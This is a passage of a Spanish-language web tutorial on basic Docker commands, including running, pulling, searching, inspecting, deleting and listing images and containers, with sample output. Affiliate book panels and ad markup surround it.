ahorraré algo de tiempo. Me costó mucho aprender las bases de Kubernetes, después de ver múltiples videotutoriales (gratuitos y de paga) y leer algunos blogs sobre el tema, encontré este libro, me dio lo que otros recursos no pudieron así que me siento bastante cómodo recomendándolo. ¡Échale un vistazo!\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Kubernetes up and running\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/kubernetes-up-and-running.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4k0MDga\&#34;,\&#34;linkText\&#34;:\&#34;Consulte el libro Kubernetes up and running en Amazon\&#34;,\&#34;title\&#34;:\&#34;Cual es el mejor recurso para aprender Kubernetes\&#34;},{\&#34;description\&#34;:\&#34;Después de buscar el mejor recurso linux en un montón de foros online encontré esta pequeña joya llamada &#39;How linux works&#39;. Es un libro completo que cubre básicamente todas las entrañas de Linux: Cgroups, PAM, Cron daemons e incluso los bootladers y el proceso init de Linux. La verdad es que no puedo recomendarlo más, 5/5. Ve a leerlo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Cómo funciona Linux\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QsXkuw\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Cómo funciona Linux y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo destacar como un ingeniero de Linux?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;correr-un-contenedor&#34;&gt;Correr un contenedor&lt;/h2&gt;&#xA;&lt;p&gt;Para correr un contenedor usaremos el comando run y el nombre de la imagen de la que derivará. Puedes especificar como quieres que se llame tu contenedor con la opción &lt;em&gt;--name&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run hello-world&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run --name mi_nombre hello-world&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Hello from Docker!&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;This message shows that your installation appears to be working correctly.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tras ejecutar el comando anterior, Docker descargará la imagen de hello-world y creará un contenedor, este contenedor se ejecutará, realizará su función y terminará de ejecutarse.&lt;/p&gt;&#xA;&lt;h2 id=&#34;descargar-una-imagen&#34;&gt;Descargar una imagen&lt;/h2&gt;&#xA;&lt;p&gt;Si solo quieres traer una imagen para que esté disponible, sin ejecutarla puedes usar el comando docker pull, seguido del nombre de la imagen.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Este comando traera una imagen de los repositorios y la descargará en tu sistema.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker pull hello-world&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Using default tag: latest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;latest: Pulling from library/hello-world&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Digest: sha256:4cf9c47f86df71d48364001ede3a4fcd85ae80ce02ebad74156906caff5378bc&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;buscar-una-imagen&#34;&gt;Buscar una imagen&lt;/h2&gt;&#xA;&lt;p&gt;La imagen de hello-world es probablemente la más aburrida que hay y de seguro querrás buscar una imagen que haga algo más que imprimir texto en pantalla.&lt;/p&gt;&#xA;&lt;p&gt;Para buscar una imagen podemos usar el comando docker search. Lo que hace este comando es conectarse a docker hub y buscar la imagen que le indiquemos.&lt;/p&gt;&#xA;&lt;p&gt;En Dockerhub existen imágenes de mysql, de nginx, de alpine linux, de python, de django, wordpress, ghost y casi cualquier otra tecnología, y sus combinaciones, que puedas nombrar.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker search nginx&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;NAME                               DESCRIPTION                                     STARS               OFFICIAL            AUTOMATED&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nginx                              Official build of Nginx.                        &lt;span style=&#34;color:#ff9f43&#34;&gt;13802&lt;/span&gt;               &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;OK&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;                &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;jwilder/nginx-proxy                Automated Nginx reverse proxy &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; docker con…   &lt;span style=&#34;color:#ff9f43&#34;&gt;1885&lt;/span&gt;                                    &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;OK&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;richarvey/nginx-php-fpm            Container running Nginx + PHP-FPM capable of…   &lt;span style=&#34;color:#ff9f43&#34;&gt;787&lt;/span&gt;                                     &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;OK&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Por otro lado, si prefieres hacerlo de una manera más visual puedes visitar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://hub.docker.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Docker hub&lt;/a&gt;&#xA;. Ahí se puede conseguir cualquier tipo de&#xA;imagen que te imagines, incluso subir las tuyas. Date una vuelta y mira todas las opciones que están disponibles para descargar. Por ahora no descargaremos ninguna otra.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/images/Docker-hub.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/images/Docker-hub.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Captura de pantalla de Dockerhub, el repositorio oficial de imágenes de Docker.&#34; width=&#34;1350&#34; height=&#34;618&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;ver-las-imagenes&#34;&gt;Ver las imágenes&lt;/h2&gt;&#xA;&lt;p&gt;Si ahora ejecutamos docker images va a aparecer nuestra imagen descargada. Mira el bajo tamaño de la imagen, ¡pesa sólo 13.3kB! Asimismo mira la columna IMAGE ID**. Cada imagen, incluida las personalizadas, tiene un id único que la representa y un tag.**&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker images&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;REPOSITORY        TAG            IMAGE ID            CREATED             SIZE&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hello-world       latest         bf756fb1ae65        &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt; months ago        13.3kB&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;inspeccionar-una-imagen&#34;&gt;Inspeccionar una imagen&lt;/h2&gt;&#xA;&lt;p&gt;Para inspeccionar una imagen basta con usar docker inspect, seguido del nombre o id de la imagen. Docker imprimirá información relacionada con la imagen en formato JSON.&lt;/p&gt;&#xA;&lt;p&gt;Con docker inspect podremos ver sus variables de entorno, sus comandos de arranque, volúmenes asociados, arquitectura y muchas otras características más.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker inspect hello-world&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sha256:bf756fb1ae65adf866bd8c456593cd24beb6a0a061dedf42b26a993176745f6b&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;RepoTags&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hello-world:latest&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ...&lt;span style=&#34;color:#ff6ac1&#34;&gt;}]&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;historial-de-una-imagen&#34;&gt;Historial de una imagen&lt;/h2&gt;&#xA;&lt;p&gt;Docker history nos muestra la historia de una imagen; los comandos que se han ejecutado y sus respectivos disparadores.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker &lt;span style=&#34;color:#ff5c57&#34;&gt;history&lt;/span&gt; hello-world&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bf756fb1ae65        &lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt; months ago        /bin/sh -c &lt;span style=&#34;color:#78787e&#34;&gt;#(nop)  CMD [&amp;#34;/hello&amp;#34;]               0B                  &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;borrar-una-imagen&#34;&gt;Borrar una imagen&lt;/h2&gt;&#xA;&lt;p&gt;Para borrar una imagen existe el comando &lt;em&gt;rmi&lt;/em&gt;, sí como &lt;em&gt;rm&lt;/em&gt;, pero con la i de &amp;ldquo;image&amp;rdquo; a continuación, necesitaremos ya sea su id o su repository y su tag separados por dos puntos &amp;ldquo;:&amp;rdquo;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker rmi repository:tag&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker rmi id_de_la_imagen&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si quisieras borrar la imagen de hello-world sería de la siguiente manera. Escribiendo docker rmi, seguido del nombre de la imagen seáradp por dos puntos de su tag.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker rmi hello-world:latest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;ver-los-procesos-de-docker&#34;&gt;Ver los procesos de Docker&lt;/h2&gt;&#xA;&lt;p&gt;Si queremos ver los procesos ejecutados usamos docker ps con la opción &lt;em&gt;-a&lt;/em&gt;. &lt;strong&gt;Por favor nota que nuestro contenedor tiene un id y, además un nombre&lt;/strong&gt;, el cual es generado por Docker automáticamente si no lo especificamos, en este caso &amp;ldquo;lucid_morse&amp;rdquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker ps -a&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CONTAINER ID   IMAGE              COMMAND        CREATED          STATUS                     PORTS     NAMES&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0f100ae4a21e   hello-world        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/hello&amp;#34;&lt;/span&gt;       &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt; minutes ago   Exited &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;0&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt; minutes ago            lucid_morse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si le quitamos la opción &lt;em&gt;-a&lt;/em&gt; mostrará únicamente los procesos activos. Como el contenedor que creamos a partir de la imagen hello-world terminó de ejecutarse no aparecerá en esta lista.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker ps&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CONTAINER ID   IMAGE              COMMAND        CREATED        STATUS                  PORTS     NAMES&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;borrar-un-contenedor-al-terminar-de-ejecutarlo&#34;&gt;Borrar un contenedor al terminar de ejecutarlo&lt;/h2&gt;&#xA;&lt;p&gt;Cada vez que ejecutamos docker run se crea un nuevo contenedor. Para evitar llenarnos de contenedores podemos borrarlos automáticamente cuando estos terminan su ejecución usando la opción &lt;em&gt;--rm&lt;/em&gt; después de docker run. Intenta corriendo la imagen hello-world nuevamente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run --rm hello-world&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si ahora vuelves a ejecutar docker ps -a, verás que &lt;strong&gt;no se ha creado un contenedor adicional&lt;/strong&gt; al que ya teníamos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker ps -a&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CONTAINER ID   IMAGE              COMMAND        CREATED          STATUS                     PORTS     NAMES&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0f100ae4a21e   hello-world        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/hello&amp;#34;&lt;/span&gt;       &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt; minutes ago    Exited &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;0&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; &lt;span 